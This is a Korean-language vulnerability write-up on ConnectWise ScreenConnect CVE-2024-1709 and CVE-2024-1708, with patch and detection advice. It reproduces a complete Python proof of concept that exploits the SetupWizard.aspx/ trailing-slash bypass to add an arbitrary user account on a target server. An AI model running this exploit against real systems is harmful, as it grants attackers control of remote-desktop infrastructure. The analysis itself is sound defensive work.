1. ConnectWise ScreenConnect
- 원격 데스크톱 소프트웨어 응용 프로그램
2. 취약점
[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]
- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0 )
> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요
> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]
영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전
2.1 취약점 상세 [4][5]
- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인
[사진 2] Shodan 검색 화면
- SetupModule.cs에는 2 가지 HTTP 필터가 존재
① 응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션
② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션
※ SetupWizard는 초기 사용자와 암호를 생성하는 역할
[사진 3] SetupModule.cs
- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인 하기 위해 string.Equals() 사용
> 요청 URL이 "~/SetupWizard.aspx"인 경우 True
> 하지만, 요청 URL이 "~/SetupWizard.aspx/ "인 경우 False
> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음
[사진 4] 인증 우회 및 설정 마법사 액세스
[사진 5] string.Equals() 결과 비교
2.2 CVE-2024-1708
[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점
> 영향받는 버전 상동
> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단 됨
※ ZipSlip [6]
- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법
2.3 PoC [7]
- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성
※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)
import requests
import re
import argparse
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchtowr-vs-ConnectWise_2024-02-21.py
- Sonny, watchTowr (sonny@watchTowr.com)
"""
helptext = """
Example Usage:
- python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
"""
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
args = parser.parse_args()
except:
print(banner)
print(helptext)
raise
print(banner)
requests.urllib3.disable_warnings()
print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")
initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)
viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)
next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)
exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}
exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)
print(f"[*] Successfully added user")
VIDEO
[영상 1] 공격 시연 [8]
3. 대응방안
- 벤더사 제공 최신 버전 업데이트 적용 [9]
> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)
> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경
취약점
영향받는 버전
해결 버전
CVE-2024-1709
ConnectWise ScreenConnect 23.9.7 및 이전 버전
23.9.8
CVE-2024-1708
- /SetupWizard.aspx/ 탐지 패턴 적용
4. 참고
[1] https://screenconnect.connectwise.com/ [2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708 [4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass [5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/ [6] https://www.hahwul.com/cullinan/zip-slip/ [7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py [8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s [9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8 [10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/ [11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/ [12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1